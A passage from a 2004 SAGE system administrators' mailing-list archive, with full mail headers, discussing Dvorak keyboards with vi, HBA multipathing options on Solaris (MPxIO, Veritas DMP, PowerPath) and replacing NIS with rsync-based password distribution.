Sholes/Qwerty > keyboard, and I have a few friends who use Dvorak and insist it's a good > way to go, along with possibly an old Northgate Ultra/Avant Stellar, > or one of the wackier split keyboards. I've used split keyboards in > the past, but, being a touch typist, they annoy me as they always seem > to put the 6 on the left hand, which tends to annoy me.. > Anywho.. I figured people here might have some good suggestions. :) > Thanks in advance! Glenn I once learned Dvorak, but never got really proficient at it. Then I learned vi. Now I can't imagine how I'd use Dvorak for typing with vi's command mode. There's just too much cognitive dissonance. I think if h,j,k,l as a positional row of cursor keys (like some pre-PC keyboards that had a straight horizontal row rather than the contemporary and ubiquitous inverted "T"). At the same time I think of [wW], [bB], and some other keys as mnemonic (word and "big" word, back and "big" back, etc). I just think it would drive me batty during the transition. I suppose I could do a search on "vi dvorak typing mappings" and see how others have coped with this issue. I could start by mapping the vi command functions h,j,k,l to d,h,t,n and then try to treat all other vi-keys as mnemonics. Any Dvorak/vi users here? How do y'all cope? -- Jim Dennis From sage-members-owner@usenix.org Fri Jan 23 08:35:16 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGZGcH008316 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 08:35:16 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NGZFBS008314 for sage-members-outgoing; Fri, 23 Jan 2004 08:35:15 -0800 (PST) Received: from mail.reptiles.org (root@mail.reptiles.org [198.96.117.157]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NGZCcG008297 for ; Fri, 23 Jan 2004 08:35:12 -0800 (PST) Received: from mail.reptiles.org([198.96.117.157] port=1946) (1238 bytes) by mail.reptiles.org([198.96.117.157] port=25) via TCP with esmtp (sender: ) id for ; (dest:remote)(R=bind_hosts)(T=inet_zone_bind_smtp) Fri, 23 Jan 2004 11:35:05 -0500 (EST) (Smail-3.2.0.116-Pre 2003-Jun-18 #7 built 2003-Dec-23) Date: Fri, 23 Jan 2004 11:35:05 -0500 (EST) From: Cat Okita To: jimd@starshine.org cc: "Glenn E. Sieb" , Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) In-Reply-To: <20040123162815.GA29028@mercury.starshine.org> Message-ID: <20040123113413.P14525-100000@iguana.reptiles.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004 jimd@starshine.org wrote: > Any Dvorak/vi users here? How do y'all cope? Uh. Truth be told it never occured to me that there were any problems with using dvorak and vi ;> In fact, I'm typing this email in vi, using the dvorak keymapping ;> cheers! ========================================================================== "A cat spends her life conflicted between a deep, passionate and profound desire for fish and an equally deep, passionate and profound desire to avoid getting wet. This is the defining metaphor of my life right now." From sage-members-owner@usenix.org Fri Jan 23 09:10:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NHAFcH009425 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 09:10:15 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NHAETN009424 for sage-members-outgoing; Fri, 23 Jan 2004 09:10:14 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NHACcG009419 for ; Fri, 23 Jan 2004 09:10:13 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0NHA8KN013571 for ; Fri, 23 Jan 2004 12:10:09 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0NHA8Yl013562 for ; Fri, 23 Jan 2004 12:10:08 -0500 (EST) Date: Fri, 23 Jan 2004 12:10:08 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: sage-members@usenix.org Subject: Re: [SAGE] Suggestions for Dvorak (learning/good keyboards/etc) In-Reply-To: <20040123162815.GA29028@mercury.starshine.org> Message-ID: References: <20040122164152.9DECAA8BE7@lucy.corp.lumeta.com> <20040123162815.GA29028@mercury.starshine.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004 jimd@starshine.org wrote: > Any Dvorak/vi users here? How do y'all cope? I learned vi *after* I learned Dvorak, so I have trouble using vi with QWERTY keyboards. I've been using a Lexmark SelectEase keyboard for years, and I love it. Too bad they're gone now. It's a full split keyboard, so you can separate the halves and place them up to about a foot apart if you want. You can tilt it forward *or* back, and I like it sloping slightly back towards the monitor, so that my fingertips are lower than my wrists. I also like the hard click tactile feel -- I end up hitting the keys more lightly, which doesn't cause such impact stress on my arms. The best thing is the programmable spacebar -- either half of the spacebar can take over for the backspace key, so I don't have to bend my right wrist to hit backspace. Best part? It was only $179 when I bought it. Anyway, I love Dvorak, if for no other reason than nobody else can come screw up my workstation, because they can't type on it! -Adam From sage-members-owner@usenix.org Fri Jan 23 09:35:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NHZecH010415 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 09:35:40 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NHZePb010414 for sage-members-outgoing; Fri, 23 Jan 2004 09:35:40 -0800 (PST) Received: from Eng.Auburn.EDU (dns.eng.auburn.edu [131.204.10.13]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NHZacG010409 for ; Fri, 23 Jan 2004 09:35:37 -0800 (PST) Received: from goodall.eng.auburn.edu (goodall.eng.auburn.edu [131.204.12.5]) by Eng.Auburn.EDU (8.12.10/8.12.10) with ESMTP id i0NHZIkD019752; Fri, 23 Jan 2004 11:35:18 -0600 (CST) Received: from localhost (doug@localhost) by goodall.eng.auburn.edu (8.9.3+Sun/8.6.4) with ESMTP id LAA24174; Fri, 23 Jan 2004 11:35:16 -0600 (CST) X-Authentication-Warning: goodall.eng.auburn.edu: doug owned process doing -bs Date: Fri, 23 Jan 2004 11:35:16 -0600 (CST) From: Doug Hughes To: Adam and Christine Levin cc: "James E. Dobson" , SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-27.1 required=5.1 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,REPLY_WITH_QUOTES,USER_AGENT_PINE, X_AUTH_WARNING version=2.52 X-Spam-Checker-Version: SpamAssassin 2.52 (1.174.2.8-2003-03-24-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, Adam and Christine Levin wrote: > > On Fri, 23 Jan 2004, James E. Dobson wrote: > > MPxIO a.k.a Sun StorEdge traffic manager might work for you. > > Even without Sun StorEdge arrays? We're getting a NetApp. > > > If you are going to buy VxVFS/VxVM just for DMP, IMHO you > > are wasting your money. Included with Solaris. I've got > > multiple servers using this to SAN (1gb & 2gb) with T3/T4s > > (both 2 and 4 adapters in some hosts) > > Veritas isn't included with Solaris, if that's what you meant. We're > looking at Veritas for getting the faster reboots in case of crashes, and > also because VxFS is faster than UFS. The SAN is small, consisting of > just our Oracle machine, data warehouse and one other incidental > machine that, among other things, will handle backups of the Oracle > data to tape. Getting VxFS on Oracle means getting VxFS on *all* the > machines, which we may not want to do precisely because of the expense. > Since we're using the Emulex cards, I figured if the MultiPulse technology > is good, that may save the day, since we only need it on the Oracle > machine. > you confused me here with two seemingly contradictory statements. On the one hand, you imply that there is only one oracle machine "just our oracle machine" On the other, "getting VxFS on Oracle means getting VxFS on *all* the machines" If indeed you only have one Oracle machine and you wish to run Oracle on top of VxFS, then you only need one VxFS license. From sage-members-owner@usenix.org Fri Jan 23 09:48:36 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NHmacH011324 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 09:48:36 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NHmanr011323 for sage-members-outgoing; Fri, 23 Jan 2004 09:48:36 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NHmYcG011319 for ; Fri, 23 Jan 2004 09:48:35 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0NHmVKN025285 for ; Fri, 23 Jan 2004 12:48:31 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0NHmVO2025279 for ; Fri, 23 Jan 2004 12:48:31 -0500 (EST) Date: Fri, 23 Jan 2004 12:48:31 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, Doug Hughes wrote: > On Fri, 23 Jan 2004, Adam and Christine Levin wrote: > > also because VxFS is faster than UFS. The SAN is small, consisting of > > just our Oracle machine, data warehouse and one other incidental > > machine that, among other things, will handle backups of the Oracle > > data to tape. Getting VxFS on Oracle means getting VxFS on *all* the > > machines, which we may not want to do precisely because of the expense. > > you confused me here with two seemingly contradictory statements. > > On the one hand, you imply that there is only one oracle machine > "just our oracle machine" > On the other, > "getting VxFS on Oracle means getting VxFS on *all* the machines" > > If indeed you only have one Oracle machine and you wish to run Oracle > on top of VxFS, then you only need one VxFS license. Sorry, didn't mean to confuse. What meant was that our SAN is not enterprise wide -- it consists of the Oracle machine, the data warehouse machine, and one other machine for dumping Oracle data to tape. All three of those machines will require Veritas in order to read cloned snapshots of the Oracle data. If we stick with UFS, all three of those machines will be able to natively read the data. -Adam From sage-members-owner@usenix.org Fri Jan 23 10:41:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NIfecH014184 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 10:41:40 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NIfeto014183 for sage-members-outgoing; Fri, 23 Jan 2004 10:41:40 -0800 (PST) Received: from ke.earlham.edu (ke.earlham.edu [159.28.1.93]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NIfccH014179 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Jan 2004 10:41:39 -0800 (PST) Received: from muscovite.popa.dom (12-222-60-103.client.insightBB.com [12.222.60.103]) (authenticated bits=0) by ke.earlham.edu (8.12.6/8.12.6) with ESMTP id i0NIfXgO058204 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Jan 2004 13:41:37 -0500 (EST) (envelope-from littejo@earlham.edu) Date: Fri, 23 Jan 2004 13:41:20 -0500 (EST) From: John Rowan Littell X-X-Sender: rowan@muscovite.popa.dom To: sage-members@usenix.org Subject: Re: [SAGE] NIS conniption fits - update In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sanitizer: This message has passed the MIMEDefang sanitizer. X-Sanitizer-URL: http://www.earlham.edu/~ecs X-Sanitizer-Version: MIMEDefang/ECSanitizer $Revision: 1.16 $ X-Sanitizer-Config-Version: $Revision: 1.138 $ X-Scanned-By: MIMEDefang 2.33 (www . roaringpenguin . com / mimedefang) Sender: owner-sage-members@usenix.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- Well, I may never know what caused this, which irks me, being of a slightly scientific bent. But after I had done all that anyone had suggested, it continued to happen today. Since I need a functional mail server more than I need answers, I replaced NIS on this host with an rsync-based passwd and group distribution mechanism. I'm now taking the LDAP exports, pushing them to the server over rsync, and then merging them with any local data -- essentially the same thing that one gets with the +:::... of NIS. It seems to work just fine, and this way I know where I can look if something goes wrong -- I wrote all the software (well, except rsync and the LDAP server... :-) Thanks to all who suggested places to look. If anyone needs rsync-based scripts, let me know... --rowan - -- John "Rowan" Littell Systems Administrator Earlham College Computing Services http://www.earlham.edu/~littejo/ 2004-01-23 13:34 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (Darwin) Comment: Made with pgp4pine 1.76 iQCVAwUBQBFq3pdUNSJ2nf/5AQFRIAP/S75UEpbigUThXcPbyEb/wqUvhtTU3wB2 WzH+7lT6AON8R0Fs/JTQAXu4BHcYxaSZWlKFcVP7z9cbA6QkaHZlfPC5GHxVBUPX dEKcfbdLygGP3/M9XbenLvmKXPV+nvtxPWVB65bGYtmIA08kAvzZ97RVzxR/suz6 3bhW2Kb7lAo= =2lKo -----END PGP SIGNATURE----- From sage-members-owner@usenix.org Fri Jan 23 12:16:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKGFcH018731 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 12:16:15 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NKGF5k018729 for sage-members-outgoing; Fri, 23 Jan 2004 12:16:15 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKGDcG018724 for ; Fri, 23 Jan 2004 12:16:13 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0NKG91q007887 for ; Fri, 23 Jan 2004 15:16:09 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0NKG9dj007884 for ; Fri, 23 Jan 2004 15:16:09 -0500 (EST) Date: Fri, 23 Jan 2004 15:16:09 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk Well, apparently, the point is moot. It turns out the Emulex stuff is more of an API than actual software, and is used by partners (ie disk vendors) to incorporate the failover technology into their own products. Does Sun have multipathing HBA failover software, or are we "stuck" with the Veritas product? I assume that with Veritas, we must use Volume Manager to get the DPM functionality? If anyone has any other suggestions for HBA failover software, I'd be glad to hear it. Thanks, -Adam From sage-members-owner@usenix.org Fri Jan 23 12:36:25 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKaPcH019974 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 12:36:25 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NKaO7o019973 for sage-members-outgoing; Fri, 23 Jan 2004 12:36:24 -0800 (PST) Received: from Eng.Auburn.EDU (dns.eng.auburn.edu [131.204.10.13]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKaMcG019969 for ; Fri, 23 Jan 2004 12:36:23 -0800 (PST) Received: from goodall.eng.auburn.edu (goodall.eng.auburn.edu [131.204.12.5]) by Eng.Auburn.EDU (8.12.10/8.12.10) with ESMTP id i0NKaJkD010735; Fri, 23 Jan 2004 14:36:19 -0600 (CST) Received: from localhost (doug@localhost) by goodall.eng.auburn.edu (8.9.3+Sun/8.6.4) with ESMTP id OAA24457; Fri, 23 Jan 2004 14:36:17 -0600 (CST) X-Authentication-Warning: goodall.eng.auburn.edu: doug owned process doing -bs Date: Fri, 23 Jan 2004 14:36:16 -0600 (CST) From: Doug Hughes To: Adam and Christine Levin cc: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-27.1 required=5.1 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,REPLY_WITH_QUOTES,USER_AGENT_PINE, X_AUTH_WARNING version=2.52 X-Spam-Checker-Version: SpamAssassin 2.52 (1.174.2.8-2003-03-24-exp) Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, Adam and Christine Levin wrote: > > Well, apparently, the point is moot. It turns out the Emulex stuff is > more of an API than actual software, and is used by partners (ie disk > vendors) to incorporate the failover technology into their own products. > > Does Sun have multipathing HBA failover software, or are we "stuck" with > the Veritas product? I assume that with Veritas, we must use Volume > Manager to get the DPM functionality? > > If anyone has any other suggestions for HBA failover software, I'd be glad > to hear it. sun has MPxIO. I haven't actually used it, but it's supposed to provide failover. It's rather new. I don't know if a lot of people are using this yet. You might look into it. (ps - DMP = dynamic multipathing vs DPM. Yes, you need volume manager for that. If you plan to mount the same volume in multiple places you need cluster volume manager (and perhaps cluster filesystem)) The old old way on Sun was AlternatePathing (AP). It was interesting in that you could alternate path practically *anything*. Disks, network interfaces, etc. Started as E10k specific and then became available on other Enterprise servers, but I don't think it really ever caught on. It was a bit complex to configure and required yet another special region on the disk (like a disksuite metadb) Doug From sage-members-owner@usenix.org Fri Jan 23 12:44:47 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKilcH020661 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 12:44:47 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NKikH0020660 for sage-members-outgoing; Fri, 23 Jan 2004 12:44:46 -0800 (PST) Received: from mailhub3.dartmouth.edu (mailhub3.Dartmouth.EDU [129.170.16.106]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKiicG020656 for ; Fri, 23 Jan 2004 12:44:45 -0800 (PST) Received: from newcupid.Dartmouth.EDU (newcupid.dartmouth.edu [129.170.208.34]) by mailhub3.dartmouth.edu (8.12.10+DND/8.12.10) with ESMTP id i0NEUrVP012526 for ; Fri, 23 Jan 2004 15:44:36 -0500 Message-id: <26094228@newcupid.Dartmouth.EDU> Date: 23 Jan 2004 15:44:35 EST From: James.E.Dobson@Dartmouth.EDU (James E. Dobson) Reply-To: James.E.Dobson@Dartmouth.EDU Subject: Re: [SAGE] Experience with Emulex HBA software To: sage-members@sage.org X-Mailer: BlitzMail=?ISO-8859-1?Q?=AE?= version 2.7.1/blitzserv 3.10b11 MIME-Version: 1.0 Content-Type: text/plain Content-Disposition: inline X-MailScanner: No virus detected by mailhub3.Dartmouth.EDU Sender: owner-sage-members@usenix.org Precedence: bulk --- You wrote: Does Sun have multipathing HBA failover software, or are we "stuck" with the Veritas product? I assume that with Veritas, we must use Volume Manager to get the DPM functionality? --- end of quote --- Sun software is MPxIO/Sun StorEdge Traffic Manager. As long as you see the LUNs on two more controllers this will work (i.e, c3 & c4. Turn on mpxio and see c5). This works pretty well. Not sure about your previous comment re: NetApp. Do they sell block-device storage now? In the past I've used EMC PowerPath which had its bugs but did the job if you had EMC product. DMP which is part of VxVM which, again, seems to work well. (used on EMC too now that I think of it) My major complaint of most of these products is the ability for the sysadmin to decode what the failover driver is doing. MPxIO is not so good for this. Requires you to use luxadm utility to "debug" HBA problems. Example below. AFAIK for boot devices that are dual pathed (like Sun's V880 w/ 2nd loop kit) you still need DMP since MPxIO isn't safe to boot from. Dunno. I'm removing VxVM from machines where it isn't needed these days. Too much complexity with all these layers of volume management products (fs/vm/driver/hba/switch/controller/disk). [jed@sam] ~ > sudo luxadm display /dev/rdsk/c17t60020F200000BE943D6BAED900067068d0s2 DEVICE PROPERTIES for disk: /dev/rdsk/c17t60020F200000BE943D6BAED900067068d0s2 Vendor: SUN Product ID: T300 Revision: 0201 Serial Num: Unsupported Unformatted capacity: 512202.125 MBytes Write Cache: Enabled Read Cache: Enabled Minimum prefetch: 0x0 Maximum prefetch: 0x0 Device Type: Disk device Path(s): /dev/rdsk/c17t60020F200000BE943D6BAED900067068d0s2 /devices/scsi_vhci/ssd@g60020f200000be943d6baed900067068:c,raw Controller /devices/pci@9,600000/pci@1/SUNW,qlc@5/fp@0,0 Device Address 50020f230000be94,2 Host controller port WWN 210000e08b0808e5 Class secondary State ONLINE Controller /devices/pci@9,600000/pci@2/SUNW,qlc@5/fp@0,0 Device Address 50020f230000bfc4,2 Host controller port WWN 210000e08b0432ea Class primary State STANDBY From sage-members-owner@usenix.org Fri Jan 23 12:57:21 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKvKcH021549 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 12:57:21 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NKvKAP021548 for sage-members-outgoing; Fri, 23 Jan 2004 12:57:20 -0800 (PST) Received: from corb.mc.mpls.visi.com (corb.mc.mpls.visi.com [208.42.156.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NKvJcG021534 for ; Fri, 23 Jan 2004 12:57:19 -0800 (PST) Received: from rfc172024066007.pace.medtronic.COM (nat01.medtronic.com [144.15.255.227]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by corb.mc.mpls.visi.com (Postfix) with ESMTP id 3A6B18691; Fri, 23 Jan 2004 14:57:15 -0600 (CST) Subject: Re: [SAGE] Experience with Emulex HBA software From: Scott Burch To: Adam and Christine Levin Cc: SAGE mailing list In-Reply-To: References: Content-Type: text/plain Organization: Message-Id: <1074891433.32386.12.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.1- Date: 23 Jan 2004 14:57:14 -0600 Content-Transfer-Encoding: 7bit Sender: owner-sage-members@usenix.org Precedence: bulk Adam, You didn't mention what type of disk enclosures you are connecting to. In any case, if you are using Sun fibre disk arrays then you want to use Sun's fibre adapters and use the Sun StorEdge Traffic Manager software which will do HBA failover. If you use Emulex adapters you won't be able to use the Traffic Manager software. If you aren't using Sun storage arrays then by all means use the Emulex cards. The release notes for the Sun StoreEdge Traffic Manager cover supported Sun hardware (your server is covered). If you are doing anything else then you should probably invest in Veritas Foundation Suite and use DMP (Dynamic Multipathing). We have a large EMC based SAN and have used both DMP and EMC's PowerPath, but we find DMP to be much cleaner and less of a hassle to maintain. You definitely don't want to use any HBAs other than Sun's if you are attaching to Sun Storage Arrays (trust me, we tried it, while you might get it to work, none of the features such as luxadm will work...which is a problem) -Scott On Fri, 2004-01-23 at 14:16, Adam and Christine Levin wrote: > Well, apparently, the point is moot. It turns out the Emulex stuff is > more of an API than actual software, and is used by partners (ie disk > vendors) to incorporate the failover technology into their own products.d > > Does Sun have multipathing HBA failover software, or are we "stuck" with > the Veritas product? I assume that with Veritas, we must use Volume > Manager to get the DPM functionality? > > If anyone has any other suggestions for HBA failover software, I'd be glad > to hear it. > > Thanks, > -Adam -- Scott Burch From sage-members-owner@usenix.org Fri Jan 23 15:05:20 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NN5KcH027562 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 15:05:20 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0NN5JoV027561 for sage-members-outgoing; Fri, 23 Jan 2004 15:05:19 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0NN5HcH027547 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 23 Jan 2004 15:05:18 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0NN5Dxe030790; Fri, 23 Jan 2004 18:05:14 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: References: <26083756@newcupid.Dartmouth.EDU> Date: Fri, 23 Jan 2004 21:33:37 +0100 To: Adam and Christine Levin From: Brad Knowles Subject: Re: [SAGE] Experience with Emulex HBA software Cc: "James E. Dobson" , SAGE mailing list Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 11:27 AM -0500 2004/01/23, Adam and Christine Levin wrote: > Veritas isn't included with Solaris, if that's what you meant. No, but there is multipathing software that is included with Solaris. > We're > looking at Veritas for getting the faster reboots in case of crashes, and > also because VxFS is faster than UFS. VxFS has a lot of advantages over UFS, but if you were to use UFS Logging, that would get you much faster reboots -- if that's the primary thing you're concerned about. As a extent-based filesystem with directory hashing, there are a lot of other advantages that VxFS has that UFS can't touch. You should look carefully at the advantages and disadvantages of each before you make this decision. > Since we're using the Emulex cards, I figured if the MultiPulse technology > is good, that may save the day, since we only need it on the Oracle > machine. I believe that something similar is included with Solaris. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 23 17:12:00 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1BxcH003271 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 17:11:59 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0O1BxVj003270 for sage-members-outgoing; Fri, 23 Jan 2004 17:11:59 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1BvcG003266 for ; Fri, 23 Jan 2004 17:11:57 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0O1Br1q012900 for ; Fri, 23 Jan 2004 20:11:53 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0O1BrJA012896 for ; Fri, 23 Jan 2004 20:11:53 -0500 (EST) Date: Fri, 23 Jan 2004 20:11:53 -0500 (EST) From: Adam and Christine Levin X-X-Sender: levins@westnet To: SAGE mailing list Subject: Re: [SAGE] Experience with Emulex HBA software In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, 23 Jan 2004, Doug Hughes wrote: > sun has MPxIO. I haven't actually used it, but it's supposed to provide > failover. It's rather new. I don't know if a lot of people are using > this yet. > You might look into it. Someone else mentioned that, so we'll definitely check it out. > (ps - DMP = dynamic multipathing vs DPM. Yes, you need volume manager > for that. If you plan to mount the same volume in multiple places you > need cluster volume manager (and perhaps cluster filesystem)) Yeah, I've been typo-ing that all day. I of course mean DMP. We don't need clustering for this application -- only one machine at a time is going to mount the LUN. > The old old way on Sun was AlternatePathing (AP). It was interesting in > that you could alternate path practically *anything*. Disks, network > interfaces, etc. Started as E10k specific and then became available > on other Enterprise servers, but I don't think it really ever caught on. > It was a bit complex to configure and required yet another special > region on the disk (like a disksuite metadb) That's probably what I remember, which is why I was scared of the Sun solution, but if this MPxIO works, that may be the answer if we want to avoid Veritas. We may end up with Veritas anyway for its other benefits. -Adam From sage-members-owner@usenix.org Fri Jan 23 17:16:30 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1GUcH003696 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 23 Jan 2004 17:16:30 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0O1GU3q003693 for sage-members-outgoing; Fri, 23 Jan 2004 17:16:30 -0800 (PST) Received: from westnet.com (root@westnet.com [206.24.6.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0O1GScG003688 for ; Fri, 23 Jan 2004 17:16:29 -0800 (PST) Received: from westnet.com (localhost [127.0.0.1]) by westnet.com (8.12.10/8.12.10) with ESMTP id i0O1GO1q013619 for ; Fri, 23 Jan 2004 20:16:24 -0500 (EST) Received: from localhost (levins@localhost) by westnet.com (8.12.10/8.12.10/Submit) with ESMTP id i0O1GOwY013615 for ; 